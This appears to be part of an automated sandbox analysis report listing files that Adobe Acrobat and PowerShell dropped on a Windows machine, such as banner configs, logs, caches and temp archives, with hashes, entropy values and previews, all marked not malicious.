C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.285872975327742
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAOW2kVoZcg1vRcR0Y7MFIoAvJf21rPeUkwRe9:YvXKXM2lZc0v+2zG+16Ukee9
MD5:	66A33EC2523CF2A5670490ECEB9E68E9
SHA1:	00846EF590186601DE32D6B489227A9F9B653EBD
SHA-256:	ACD9844537B4605AC2BB413E518ECE1520951A34DDE9F8E21F831D1848E60730
SHA-512:	98E1670B23B1B827E4941A248F30C828E3EE8D5093E03E208A26C15956EAFFA945BB2078A7C9AFBD3850D99B5131C700BE7A6BA19F7CE86C78C59F830B851D22
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a353b26b-6c0c-4bcb-8e66-55ebb89dcc61","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745229556,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660970168372101
Encrypted:	false
SSDEEP:	24:Yv6XBlzv+2camXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS4:Yv0226BgkDMUJUAh8cvM4
MD5:	8FA728E7F1E9927AA67880DCE8CBC607
SHA1:	7CACA43A035295ED6D41861A12A4E73F25D99499
SHA-256:	19810A0DFF19EED8A1178CBFCC327E555780FDAB7A1C792FAD57E2C4909BFE03
SHA-512:	98714E37B8202994C6971239E033616650F22B6018C390203CCE96C0F0308FC03399C58DA8F578B2B7A35289DD4D46422CE6F1F2910816382DD0C587DB25AEE9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a353b26b-6c0c-4bcb-8e66-55ebb89dcc61","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745229556,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.262837383251815
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAOW2kVoZcg1vRcR0Y7MFIoAvJfshHHrPeUkwRe9:YvXKXM2lZc0v+2zGUUUkee9
MD5:	9C32B2226DA1694A979D9C55459577B4
SHA1:	14F4A126D1D259F439AE67932856A5DADB164808
SHA-256:	A17B2CD486CF7C69DDFADFFD9B5D365F1811DE1E553BC6422C8DF038620ED0BD
SHA-512:	2C43FE2139A271081D9B3CA84E3C631E79FCCB538C8CBE645A075C19F742163D82318C05C820F1A418FD6E22093C8F7D8C684D93B49AD7EB0595261953DE1634
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a353b26b-6c0c-4bcb-8e66-55ebb89dcc61","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745229556,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.273323619897133
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAOW2kVoZcg1vRcR0Y7MFIoAvJTqgFCrPeUkwRe9:YvXKXM2lZc0v+2zGTq16Ukee9
MD5:	D83D9B469DD0BC7D85FF35703845B2F6
SHA1:	B64A7DF895B788599131BAF0EEA12EC37946439F
SHA-256:	62EF50C98BE5EE7C53C46F9B73E4226477C56CC71CAAB064435A6AB936E959A8
SHA-512:	CD1EFCACDBCDA7D052B147CF85E48F4AF587B21E5EE154FABC8EED77081A7F30832CB1D255F9358B716F914E0DCBB6807192354BD11EAE31BB306DF144A02627
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a353b26b-6c0c-4bcb-8e66-55ebb89dcc61","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745229556,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1331486291809405
Encrypted:	false
SSDEEP:	48:YkQQ8kg3XKPqZsN2DzrxoIHMB+PX9oNWvG:rQx3XKPqZ6PIHMBksEG
MD5:	3ECF49BAA4F67AD0AB207E8AD0CE5BC9
SHA1:	47E59A3E3AF306E1B321A826CB68C19270E05217
SHA-256:	EB2433BE18B100E3A36638C0CF50914667EAE814B0BE628A5E56BC1FF4F7E8B4
SHA-512:	097F955BE047B4081D7CCB8307AB371A1DE631FF917F7B15DCBAE9F0F9D5E90CA01F1BFAB3B5AC13FAD5F7B0DEE79EC64E72B7986648261194B676D3020CCBCB
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"beb316efdb57ea9a08c664ccb5fb65c7","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736570719000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e76e858529a46c07fbf57946c821ebcc","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736570719000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"cec31f35e2bf87f24a8608bea0bc87ca","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736570719000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"e51a110a9886fcc102f8089c4c34274a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736570719000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b9fca54be1017d47e3f48b246a04ee61","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736570719000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"c283de303076733eefe5acc684f29d23","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1886776019694512
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUlrSvR9H9vxFGiDIAEkGVvp5D:lNVmswUUUUUUUUV+FGSIth
MD5:	1841A476FB8F407372E06278411224F2
SHA1:	231DC7CB83C3C38424109F742DF16871B0B6CD76
SHA-256:	B347FCB2E501205CF9AEE11D9A43D5939B43BAE0E3AF7E8109ABEE950187BABD
SHA-512:	E84EACCB28DDA7431744C647205A9FDB8AD5AC1307AE418EC5FCB02AF7360971630B896C38EA7C39E176AB7A6D6FAFA82D1CB0BC3021BFFA21F60AF213CD25D1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6085789891015956
Encrypted:	false
SSDEEP:	48:7MJKUUUUUUUUUUl/vR9H9vxFGiDIAEkGVv6qFl2GL7msH:7vUUUUUUUUUUpFGSItUKVmsH
MD5:	0BCFD17AD74F75869DEA09D3DBA6D5A2
SHA1:	07BB7B55CFC8178E76AB50A557213D4396FF41A4
SHA-256:	591C69690F3135BAB2F18B63E809D498503F646691D509BD8B7D60F53FAFC46D
SHA-512:	378CE8E6F3B3B1AD7C5B28E0D60F59CFB91617531C8934E0C186D643BD6CA957341D822C2A330BDD85AC8F5DF83A8008666AE4C02A01EA44E9B47F88496159AB
Malicious:	false
Preview:	.... .c........w......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEguBLWb+9WQ6i7pX/P9HTAX5H/Yyu:6a6TZ44ADEb1ip/P9HTAXNK
MD5:	43FAFAED46B75EB60CA57385230419FF
SHA1:	A78E4E54A664444EEE697F97EBB85671E6DC34CD
SHA-256:	D9B1429C22635A5C9D40B351CD8FB05B8995D6D6A8CF4C88BFAC6A1A5AF50FF2
SHA-512:	248CA6D3583C8FB20970FF2CE8675EE7DE115AF933083932F738DFA2CBD21687B12BED1432CA7F35369B31B80879E6AA8C926347ED7C8D1FC9C4A58F8DDF5A89
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI3c811.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl94lYH:Qw946cPbiOxDlbYnuRK+bIoYH
MD5:	EF63F06F06B2CBA4D80865103FFA9D3E
SHA1:	B0BA11AA922EAB77AB04717F54E3EBBA319236A7
SHA-256:	4E5480BAE26C1ECB4687FC78114C8210A6122C149CA2AF5E4A968DFB28EDA2C7
SHA-512:	5851743C8ED4E401C8A8A7516F1C6F420005CD210B0A068B3301954D3011D58E91BDC68B931B5D876CD7148CEB720C4126E19D5930B4C057D0371937229102F7
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.4.5.:.2.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c3gomfco.k4q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g5a1eckl.ivs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-45-14-987.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.374645582301691
Encrypted:	false
SSDEEP:	384:zjQLVuLVrLVGLVkLVVL/4LdLuLWJLILxLwLVL/LMOzOPOFfBfefif/fMfryRrGjx:zkLILpLgLyLrz4x6qJcVUBDAEycJG6XY
MD5:	D31AFCA65081513064339CAE8F8C99DF
SHA1:	7FC755F0EDF8F5B7494C7A5A46809C00ED599774
SHA-256:	070805B4A4E3C879D9C1F8D6A4A854FCA475210920EF7D2186638DC9A497337E
SHA-512:	E16DE6A7AA9B828E5F619464582B9D240BD0D6B507C30C4BAF8EE6DD360697467A6EF5C043A35CBB5D41AD7F73F57F08F555EEE2C85A750B76FD64E923C09D2A
Malicious:	false
Preview:	SessionID=fa8382fe-f131-40fb-8266-0d4baccc8eda.1736570714997 Timestamp=2025-01-10T23:45:14:997-0500 ThreadID=7492 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=fa8382fe-f131-40fb-8266-0d4baccc8eda.1736570714997 Timestamp=2025-01-10T23:45:14:999-0500 ThreadID=7492 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=fa8382fe-f131-40fb-8266-0d4baccc8eda.1736570714997 Timestamp=2025-01-10T23:45:14:999-0500 ThreadID=7492 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=fa8382fe-f131-40fb-8266-0d4baccc8eda.1736570714997 Timestamp=2025-01-10T23:45:14:999-0500 ThreadID=7492 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=fa8382fe-f131-40fb-8266-0d4baccc8eda.1736570714997 Timestamp=2025-01-10T23:45:14:999-0500 ThreadID=7492 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.38591141575913
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rv:5F
MD5:	4E1C37A4C6643FCACDB0E47799D99247
SHA1:	CD0C041103CFA22788E876C94403F078FFA35810
SHA-256:	051B58720D63D02ACE04DC4811F6DAD4EA3DE20B5576AD7DCA8E4D49932478E9
SHA-512:	9FF8FAD31D98503BA9A3412441072DB4DB011969900693A5AD5F8ADBDAE2A028DE2DA128328489FCEC3A8E06C95973A62E7F4DE5DE63B9EF83150281BFD8665F
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1d89355f-fc6a-4fc8-85da-7e285a145805.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\2472aa55-c78e-4d30-82e3-e554a0c82b52.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a2cc3c46-8ae5-4f5e-be50-a8f79ec1e85a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

